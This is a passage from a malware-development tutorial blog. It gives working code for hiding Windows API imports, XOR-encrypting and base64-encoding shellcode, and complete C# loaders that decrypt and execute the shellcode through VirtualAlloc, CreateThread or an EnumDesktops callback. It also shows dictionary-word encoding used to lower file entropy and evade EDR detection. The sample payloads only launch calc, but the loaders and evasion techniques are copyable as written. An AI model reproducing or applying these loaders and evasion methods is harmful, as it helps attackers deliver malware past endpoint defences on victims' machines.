<span class="k">typedef</span> <span class="nf">DWORD</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span> <span class="n">pWaitForSingleObject</span><span class="p">)(</span><span class="n">HANDLE</span> <span class="n">hHandle</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">dwMilliseconds</span><span class="p">);</span>

<span class="c1">// Get address of kernel32.dll using LoadLibrary</span>
<span class="n">HMODULE</span> <span class="n">kernel32Library</span> <span class="o">=</span> <span class="n">LoadLibrary</span><span class="p">(</span><span class="s">L"kernel32.dll"</span><span class="p">);</span>

<span class="c1">// Get addresses of function exports using GetProcAddress</span>
<span class="n">pVirtualAlloc</span> <span class="n">fnVirtualAlloc</span> <span class="o">=</span> <span class="p">(</span><span class="n">pVirtualAlloc</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">kernel32Library</span><span class="p">,</span> <span class="s">"VirtualAlloc"</span><span class="p">);</span>
<span class="n">pVirtualProtect</span> <span class="n">fnVirtualProtect</span> <span class="o">=</span> <span class="p">(</span><span class="n">pVirtualProtect</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">kernel32Library</span><span class="p">,</span> <span class="s">"VirtualProtect"</span><span class="p">);</span>
<span class="n">pCreateThread</span> <span class="n">fnCreateThread</span> <span class="o">=</span> <span class="p">(</span><span class="n">pCreateThread</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">kernel32Library</span><span class="p">,</span> <span class="s">"CreateThread"</span><span class="p">);</span>
<span class="n">pWaitForSingleObject</span> <span class="n">fnWaitForSingleObject</span> <span class="o">=</span> <span class="p">(</span><span class="n">pWaitForSingleObject</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">kernel32Library</span><span class="p">,</span> <span class="s">"WaitForSingleObject"</span><span class="p">);</span>
</code></pre></div></div>

<p>If we create and compile the full C++ payload to launch shellcode, we can check the function imports using <code class="language-plaintext highlighter-rouge">dumpbin</code> shown below. The IAT now only shows some basic API imports and successfully hid our functions!</p>

<p><img src="/assets/images/maldev101/hiding-iat-imports.png" alt="hiding IAT imports" width="750" /></p>

<p>Note to do this effectively and not have additional imports in your program, you have either compile it manually with <code class="language-plaintext highlighter-rouge">cl.exe</code> or remove the Microsoft C Run-Time Library (CRT) in Visual Studio. This is a whole other post and will create issues in your code, so we won’t be getting into it now. For further info, <a href="https://maldevacademy.com">Maldev Academy</a> has a very useful module on it titled “CRT Library Removal &amp; Malware Compiling”.</p>

<h3 id="shellcode-encryption-and-encoding">Shellcode Encryption and Encoding</h3>

<p>To better hide or obfuscate our shellcode, we can encrypt the shellcode using algorithms such as XOR or AES. This is to prevent prying eyes or AV/EDR signatures from statically identifying shellcode signatuers in our programs on disk. We can also encode the encrypted shellcode into different formats such as base64, ascii85, or hex which can be decoded/decrypted at runtime then executed.</p>

<p>We use encoding and encryption to obfuscate our shellcode in a way that it is harder to identify and bypass static analysis on disk. However, once the shellcode is decrypted/decoded, it will still function the same way in-memory since it needs to run as expected. There are other ways to evade this such as polymorphich shellcode or <a href="https://www.cobaltstrike.com/blog/revisiting-the-udrl-part-1-simplifying-development">User-Defined Reflective Loaders (UDRL)</a> but that’s way outside the scope of this post.</p>

<p>I’ll provde an example of XOR shellcode encryption below using Python. Note that I’m using Python code from my public Git repo <a href="https://github.com/wsummerhill/Python-Crypter">Python-Crypter</a>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span><span class="p">,</span> <span class="n">base64</span>

<span class="c1"># Base64 encode function
</span><span class="k">def</span> <span class="nf">b64EncodeShellCode</span><span class="p">(</span><span class="n">shellcode</span><span class="p">):</span>
	<span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">shellcode</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">)</span>

<span class="c1"># Path to shellcode on disk
</span><span class="n">shellcode_file</span> <span class="o">=</span> <span class="s">"calc-thread64.bin"</span>

<span class="c1"># Read shellcode file
</span><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">shellcode_file</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">sc</span><span class="p">:</span>
		<span class="n">file_shellcode</span> <span class="o">=</span> <span class="n">sc</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>

<span class="c1"># Encryption key
</span><span class="n">encKey</span> <span class="o">=</span> <span class="s">"MHUJC827AKCj1"</span>

<span class="c1"># XOR encrypt shellcode
</span><span class="n">encryptedShellCode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">byt</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">encKey</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">encKey</span><span class="p">)])</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">byt</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">file_shellcode</span><span class="p">))</span>

<span class="c1"># Base64 encode the encrypted shellcode
</span><span class="n">base64Shellcode</span> <span class="o">=</span> <span class="n">b64EncodeShellCode</span><span class="p">(</span><span class="n">encryptedShellCode</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">base64Shellcode</span><span class="p">)</span>
</code></pre></div></div>

<p>When I run this script on <code class="language-plaintext highlighter-rouge">calc-thread64.bin</code> raw shellcode file, I get the following XOR encrypted and base64’d shellcode:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> <span class="n">python</span> <span class="n">shellcode</span><span class="o">-</span><span class="n">encrypt</span><span class="p">.</span><span class="n">py</span>
<span class="n">sQDWrrPQ8jdBSwI7cB0aBBwLCeBSCcARCnnGGk0CyGoSf8o5EyI</span><span class="o">++</span><span class="n">gIfB3LxegaB538LTU9kdQuC8T92QIqhh2MMGR3BERi5dX0DQrq6zcBVSkNwt</span><span class="o">/</span><span class="n">c1LAtr4R3DHVIHs3IXCEqTiWcFt5wLyAy6f0CdDlv4BXmV5gL5</span><span class="o">+</span><span class="n">zoASoJS0Ti5GUkPHDpyeJo2smkJwxVuCjniUQDATyJ1xghJA0Loc7xFwwtr4QwQFBIdYWh2GQoaK2sFy7lqAmrN1xkKGjB5xlq8HbzHzWoJ8UJqMU1IVUpDcL</span><span class="o">+</span><span class="mi">6</span><span class="n">QEpDanD3ed4lxMfnjKFWaWBw9</span><span class="o">+</span><span class="mi">7</span><span class="n">A997H53</span><span class="o">/</span><span class="n">Cj2tWNzFC1bGjTTeMBlgxBVtNERTDmcfnVCAnIERUNS1V</span>
</code></pre></div></div>

<p>Next, we’ll take this base64 encrypted shellcode and use it in a C# payload sample where we’ll need to base64 decode and then XOR decrypt the shellcode before executing. It’s also important to use the same XOR key for decryption that we used for encryption above, otherwise it won’t decrypt properly.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">namespace</span> <span class="nn">Test</span>
<span class="p">{</span>
    <span class="k">class</span> <span class="nc">Program</span>
    <span class="p">{</span>
        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32"</span><span class="p">)]</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">VirtualAlloc</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">lpAddress</span><span class="p">,</span> <span class="kt">int</span> <span class="n">dwSize</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">flAllocationType</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">flProtect</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32"</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">bool</span> <span class="nf">VirtualProtect</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">lpAddress</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">dwSize</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">flNewProtect</span><span class="p">,</span> <span class="k">out</span> <span class="kt">uint</span> <span class="n">lpflOldProtect</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32"</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">CreateThread</span><span class="p">(</span><span class="n">UInt32</span> <span class="n">lpThreadAttributes</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">dwStackSize</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpStartAddress</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">param</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">dwCreationFlags</span><span class="p">,</span> <span class="k">ref</span> <span class="n">UInt32</span> <span class="n">lpThreadId</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernel32"</span><span class="p">)]</span>
        <span class="k">private</span> <span class="k">static</span> <span class="k">extern</span> <span class="n">UInt32</span> <span class="nf">WaitForSingleObject</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hHandle</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">dwMilliseconds</span><span class="p">);</span>

        <span class="k">static</span> <span class="n">UInt32</span> <span class="n">PAGE_READWRITE</span> <span class="p">=</span> <span class="m">0x04</span><span class="p">;</span> <span class="c1">//RW</span>
        <span class="k">static</span> <span class="n">UInt32</span> <span class="n">PAGE_EXECUTE_READ</span> <span class="p">=</span> <span class="m">0x20</span><span class="p">;</span> <span class="c1">//RX</span>

        <span class="k">static</span> <span class="kt">string</span> <span class="n">encryption_key</span> <span class="p">=</span> <span class="s">"MHUJC827AKCj1"</span><span class="p">;</span> <span class="c1">// Same key used for encryption/decryption</span>

        <span class="c1">// Main function</span>
        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="c1">// XOR encrypted and base64'd Calc.exe shellcode</span>
            <span class="kt">string</span> <span class="n">base64</span> <span class="p">=</span> <span class="s">@"sQDWrrPQ8jdBSwI7cB0aBBwLCeBSCcARCnnGGk0CyGoSf8o5EyI++gIfB3LxegaB538LTU9kdQuC8T92QIqhh2MMGR3BERi5dX0DQrq6zcBVSkNwt/c1LAtr4R3DHVIHs3IXCEqTiWcFt5wLyAy6f0CdDlv4BXmV5gL5+zoASoJS0Ti5GUkPHDpyeJo2smkJwxVuCjniUQDATyJ1xghJA0Loc7xFwwtr4QwQFBIdYWh2GQoaK2sFy7lqAmrN1xkKGjB5xlq8HbzHzWoJ8UJqMU1IVUpDcL+6QEpDanD3ed4lxMfnjKFWaWBw9+7A997H53/Cj2tWNzFC1bGjTTeMBlgxBVtNERTDmcfnVCAnIERUNS1V"</span><span class="p">;</span>

            <span class="c1">// Base64 decode</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">decoded</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">base64</span><span class="p">);</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">shellcode</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="n">decoded</span><span class="p">.</span><span class="n">Length</span><span class="p">];</span>

            <span class="c1">// XOR decrypt</span>
            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">decoded</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
                <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">=</span> <span class="p">((</span><span class="kt">byte</span><span class="p">)(</span><span class="n">decoded</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">^</span> <span class="n">encryption_key</span><span class="p">[(</span><span class="n">i</span> <span class="p">%</span> <span class="n">encryption_key</span><span class="p">.</span><span class="n">Length</span><span class="p">)]));</span>

            <span class="c1">// 1. Allocate shellcode</span>
            <span class="n">IntPtr</span> <span class="n">funcAddr</span> <span class="p">=</span> <span class="nf">VirtualAlloc</span><span class="p">(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="p">(</span><span class="m">0x1000</span> <span class="p">|</span> <span class="m">0x2000</span><span class="p">),</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
            
            <span class="c1">// 2. Copy shellcode to allocated space</span>
            <span class="n">Marshal</span><span class="p">.</span><span class="nf">Copy</span><span class="p">(</span><span class="n">shellcode</span> <span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)</span><span class="n">funcAddr</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>

            <span class="c1">// 3. Change protection to executable</span>
            <span class="kt">uint</span> <span class="n">oldprotection</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
            <span class="nf">VirtualProtect</span><span class="p">((</span><span class="n">IntPtr</span><span class="p">)</span><span class="n">funcAddr</span><span class="p">,</span> <span class="p">(</span><span class="kt">uint</span><span class="p">)</span><span class="n">shellcode</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READ</span><span class="p">,</span> <span class="k">out</span> <span class="n">oldprotection</span><span class="p">);</span>

            <span class="n">IntPtr</span> <span class="n">hThread</span> <span class="p">=</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">;</span>
            <span class="n">UInt32</span> <span class="n">threadId</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>

            <span class="c1">// 4. Execute</span>
            <span class="n">hThread</span> <span class="p">=</span> <span class="nf">CreateThread</span><span class="p">(</span><span class="m">0</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">funcAddr</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="k">ref</span> <span class="n">threadId</span><span class="p">);</span>
            <span class="nf">WaitForSingleObject</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="m">0xFFFFFFFF</span><span class="p">);</span>
            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I can then compile this code with csc using the command <code class="language-plaintext highlighter-rouge">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /out:csharp_test.exe CSharp_EXE.cs</code>. Run the compiled EXE and we successfully pop calc with the XOR decrypted shellcode!</p>

<p><img src="/assets/images/maldev101/csharp-xor-shellcode.png" alt="CSharp XOR shellcode" width="700" /></p>

<h3 id="entropy-evasion">Entropy Evasion</h3>

<p>In 2024, I did 3 conference presentations about malware evasion and entropy titled “Simplified Malware Evasion - Entropy and Other Techniques” (see <a href="https://i.blackhat.com/SecTor-2024/Sector-24-Summerhill-SimplifiedMalwareEvasion.pdf">SecTor 2024 slides</a>). 
Entropy is a measurement of randomness which EDRs use to help identify malware containing a high threshold of 
entropy compared to normal files. The slides and presentation talk a lot more about entropy and the research I did, but to sum it up: Files with large random blobs such as shellcode create high levels of entropy in our compiled programs. We want to reduce entropy of payloads to avoid hitting
these thresholds where EDRs will perform additional analysis/machine learning/detections on high entropy files.</p>

<p>Here’s a screenshot from my presentation slides showing 2 different Cobalt Strike payloads w/ XOR encrypted shellcode that have very high Shannon entropy (note that 8 is the max, 0 is the min). I used the <a href="https://gist.github.com/wsummerhill/a5a2068e717b5c290ab345c05ef99fcc">Shannon-Entropy.py</a> script on my Gist to calculate this.</p>

<p><img src="/assets/images/maldev101/cs-entropy-payloads.png" alt="High entropy payloads" width="800" /></p>

<p>To reduce entropy of our payloads, I created a technique to encode shellcode into dictionary words using <strong><a href="https://github.com/wsummerhill/DictionShellcode">DictionShellcode</a></strong>.
The tool will create a translation dictionary <code class="language-plaintext highlighter-rouge">translate_dict</code> variable which acts as a lookup table to decode dictionary words to their byte value equivalent.</p>

<p>The tool Git repo explains it more, but ultimately we can implment this shellcode encoding method to reduce entropy in all sections of our PE file payloads.
Here’s an example of the decoding routie for a C++ payload using dictionary encoded shellcode:</p>

<p><strong>DictionShellcode example usage</strong><br />
<code class="language-plaintext highlighter-rouge">python DictionShellcode.py -f calc-x64.bin -lang cpp</code><br />
Take output from the Python tool above and put it into the below payload sample (provided in the Git repo).</p>

<p><strong>Payload sample in C++</strong></p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Shellcode translation dictionary</span>
<span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">translate_dict</span><span class="p">[</span><span class="mi">256</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="s">"discipline"</span><span class="p">,</span><span class="s">"disorder"</span><span class="p">,</span><span class="s">"hypothetical"</span><span class="p">,</span><span class="s">"information"</span><span class="p">,</span><span class="s">"researcher"</span><span class="p">,</span><span class="s">"mostly"</span><span class="p">,</span><span class="s">"offered"</span><span class="p">,</span><span class="s">"pleasant"</span><span class="p">,</span><span class="s">"doctrine"</span><span class="p">,</span><span class="s">"freeware"</span><span class="p">,</span><span class="s">"fighters"</span><span class="p">,</span><span class="s">"processors"</span><span class="p">,</span><span class="s">"independence"</span><span class="p">,</span><span class="s">"indicating"</span><span class="p">,</span><span class="s">"trackbacks"</span><span class="p">,</span><span class="s">"bizrate"</span><span class="p">,.............,</span><span class="s">"counters"</span><span class="p">,</span><span class="s">"compact"</span><span class="p">,</span><span class="s">"locking"</span><span class="p">,</span><span class="s">"spirituality"</span><span class="p">,</span><span class="s">"copying"</span> <span class="p">};</span>

<span class="c1">// Shellcode in Dictionary words format</span>
<span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">dict_words</span><span class="p">[</span><span class="mi">276</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="s">"compact"</span><span class="p">,</span><span class="s">"superior"</span><span class="p">,</span><span class="s">"secretary"</span><span class="p">,</span><span class="s">"relationships"</span><span class="p">,</span><span class="s">"stated"</span><span class="p">,</span><span class="s">"incorporate"</span><span class="p">,</span><span class="s">"insured"</span><span class="p">,</span><span class="s">"discipline"</span><span class="p">,</span><span class="s">"discipline"</span><span class="p">,</span><span class="s">"discipline"</span><span class="p">,</span><span class="s">"restrict"</span><span class="p">,</span><span class="s">"replace"</span><span class="p">,</span><span class="s">"restrict"</span><span class="p">,</span><span class="s">"emission"</span><span class="p">,</span><span class="s">"resistance"</span><span class="p">,</span><span class="s">"replace"</span><span class="p">,</span><span class="s">"shareware"</span><span class="p">,</span><span class="s">"superior"</span><span class="p">,</span><span class="s">"instant"</span><span class="p">,</span><span class="s">"organisations"</span><span class="p">,</span><span class="s">"hospitals"</span><span class="p">,</span><span class="s">"superior"</span><span class="p">,</span><span class="s">"seconds"</span><span class="p">,</span><span class="s">"resistance"</span><span class="p">,</span><span class="s">"brochures"</span><span class="p">,</span><span class="s">"superior"</span><span class="p">,</span>
<span class="s">"resistance"</span><span class="p">,</span><span class="s">"believed"</span><span class="p">,...........,</span><span class="s">"hospitals"</span><span class="p">,</span><span class="s">"discipline"</span> <span class="p">};</span>

<span class="c1">// Converted shellcode placeholder</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[</span><span class="mi">276</span><span class="p">];</span> <span class="c1">// Same length as `dict_words` var</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">shellcode_len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

<span class="c1">// Decode shellcode using input Dictionary wordlist "translate_dict"</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">sc_index</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">sc_index</span> <span class="o">&lt;</span> <span class="n">shellcode_len</span><span class="p">;</span> <span class="n">sc_index</span><span class="o">++</span><span class="p">)</span> <span class="c1">// Loop through shellcode words first</span>
<span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">dict_index</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">dict_index</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">dict_index</span><span class="o">++</span><span class="p">)</span> <span class="c1">// Loop through all possible dictionary words second</span>
    <span class="p">{</span>
        <span class="c1">// If the word was found in the shellcode Dictionary</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">translate_dict</span><span class="p">[</span><span class="n">dict_index</span><span class="p">],</span> <span class="n">dict_words</span><span class="p">[</span><span class="n">sc_index</span><span class="p">])</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span>
            <span class="c1">// Convert shellcode to byte and add to output variable</span>
            <span class="n">shellcode</span><span class="p">[</span><span class="n">sc_index</span><span class="p">]</span> <span class="o">=</span> <span class="n">dict_index</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="c1">// Continue allocating and executing shellcode from `shellcode` variable...</span>
</code></pre></div></div>

<p>After compiling the program, calculating entropy of these payloads greatly reduces the overall entropy, bypassing the thresholds of file entropy that some EDRs check.
We can use the <code class="language-plaintext highlighter-rouge">Shannon-Entropy.py</code> script to calculate Shannon entropy of our compiled <code class="language-plaintext highlighter-rouge">DictionShellcode.exe</code> payload which has dictionary word encoded Cobalt Strike shellcode. See that the entropy is only 5.16 which is MUCH lower and normal-looking compared to the previous examples!</p>

<p><img src="/assets/images/maldev101/shannon-entropy-of-dictionshellcode.png" alt="dictionshellcode-entropy" width="720px" /></p>

<h3 id="alternate-shellcode-execution-methods-aka-callback-functions">Alternate Shellcode Execution Methods (aka callback functions)</h3>

<p>A <em>slightly</em> lesser known technique that’s been around for a while is <a href="https://learn.microsoft.com/en-us/dotnet/framework/interop/callback-functions">callback functions</a>. As per Windows documentation, callback functions are “<em>code within a managed application that helps an unmanaged DLL function complete a task</em>”. The goal of using this technique is to avoid APIs such as <code class="language-plaintext highlighter-rouge">CreateThread</code> or <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code> and instead use callback functions to complete some task (i.e. execute our shellcode). Note I also discussed callback functions for malware evasion in more detail in my 2024 talk (see <a href="https://i.blackhat.com/SecTor-2024/Sector-24-Summerhill-SimplifiedMalwareEvasion.pdf">SecTor 2024 slides</a>).</p>

<p>I have a public GitHub repo called <a href="https://github.com/wsummerhill/CSharp-Alt-Shellcode-Callbacks/tree/main">CSharp-Alt-Shellcode-Callbacks</a> for this exact use case. In the repo, I provide C# examples of callback functions which can all be used to launch shellcode. The same can be done in C/C++ as well!</p>

<p>As an example, if we take the code sample from `` (shown below):</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.InteropServices</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span>

<span class="k">namespace</span> <span class="nn">AltCallbacks</span>
<span class="p">{</span>
    <span class="k">class</span> <span class="nc">Callback</span>
    <span class="p">{</span>
        <span class="k">const</span> <span class="kt">uint</span> <span class="n">MEM_COMMIT</span> <span class="p">=</span> <span class="m">0x00001000</span><span class="p">;</span>
        <span class="k">const</span> <span class="kt">uint</span> <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="p">=</span> <span class="m">0x40</span><span class="p">;</span>
        <span class="k">const</span> <span class="kt">uint</span> <span class="n">LOCALE_SYSTEM_DEFAULT</span> <span class="p">=</span> <span class="m">0x0800</span><span class="p">;</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"kernelbase.dll"</span><span class="p">)]</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">extern</span> <span class="n">IntPtr</span> <span class="nf">VirtualAlloc</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">lpAddress</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">dwSize</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">flAllocationType</span><span class="p">,</span> <span class="n">UInt32</span> <span class="n">flProtect</span><span class="p">);</span>

        <span class="p">[</span><span class="nf">DllImport</span><span class="p">(</span><span class="s">"user32.dll"</span><span class="p">)]</span>
        <span class="k">public</span> <span class="k">static</span> <span class="k">extern</span> <span class="kt">bool</span> <span class="nf">EnumDesktops</span><span class="p">(</span><span class="n">IntPtr</span> <span class="n">hwinsta</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lpEnumFunc</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lParam</span><span class="p">);</span>

        <span class="k">static</span> <span class="kt">string</span> <span class="n">key</span> <span class="p">=</span> <span class="s">"THISISMYKEY"</span><span class="p">;</span>

        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="c1">// Calc shellcode</span>
            <span class="kt">string</span> <span class="n">base64</span> <span class="p">=</span> <span class="s">@"qADKt7m7jVlLRRgFCRkBGAUFaJkgEd8aKRvCAVURwBd5HMM7AwFc+hMBCGidAHiT5W8sJUlpeRWJgF4IUoy7phcYBQDCAWnYD2UDRInfyMFTSVMF3IsxPhxJmQPCG1UdwAV5HUmZsB8bspAKzm3cAEiFBGKEEXqF9RWJgF4IUoxhqzCoGEsFd0EWdIg+nQEQwwl3AFKdPwrOVRwMwhNVGkyJCs5d3ABIgwgLDAEVHAMVEAgKCAkF2qdlGAa3qQsIChcRwFewA7e2rBQb91hLRVlUSElTAd7AWEpFWRXyeNgm1LKM8KVEfkII6e/G8MS0kBHXjGFvTy9H2bClLFHzDkA7PCdZEgTQjrecMCg/LncuPTxU"</span><span class="p">;</span>

            <span class="kt">byte</span><span class="p">[]</span> <span class="n">decoded</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">base64</span><span class="p">);</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">shellcode</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="n">decoded</span><span class="p">.</span><span class="n">Length</span><span class="p">];</span>

            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">decoded</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
                <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">=</span> <span class="p">((</span><span class="kt">byte</span><span class="p">)(</span><span class="n">decoded</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">^</span> <span class="n">key</span><span class="p">[(</span><span class="n">i</span> <span class="p">%</span> <span class="n">key</span><span class="p">.</span><span class="n">Length</span><span class="p">)]));</span>

            <span class="n">IntPtr</span> <span class="n">p</span> <span class="p">=</span> <span class="nf">VirtualAlloc</span><span class="p">(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="p">(</span><span class="kt">uint</span><span class="p">)</span><span class="n">shellcode</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
            
            <span class="n">Marshal</span><span class="p">.</span><span class="nf">Copy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>
            
            <span class="c1">// Callback function</span>
            <span class="nf">EnumDesktops</span><span class="p">(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">);</span>

            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Compile the code into an EXE using csc again: <code class="language-plaintext highlighter-rouge">csc.exe /target:exe /out:EnumDesktops.exe CSharp-Callback_EnumDesktops.cs</code>. Lastly, launch the EXE and watch it pop calc using the callback function!</p>

<p><img src="/assets/images/maldev101/enumdesktops-callback.png" alt="Callback function" width="750px" /></p>

<hr />
<h2 id="recommended-resources">Recommended Resources</h2>

<p>Below is a summary of resources I personally use and have found helpful in my malware development work.</p>

<h3 id="courses">Courses</h3>
<ul>
  <li><a href="https://institute.sektor7.net/red-team-operator-malware-development-essentials">Sektor7: Malware Development Essentials</a>: Great introductory self-paced course to get started in malware dev using C++. I’ve done multiple Sektor7 courses myself.</li>
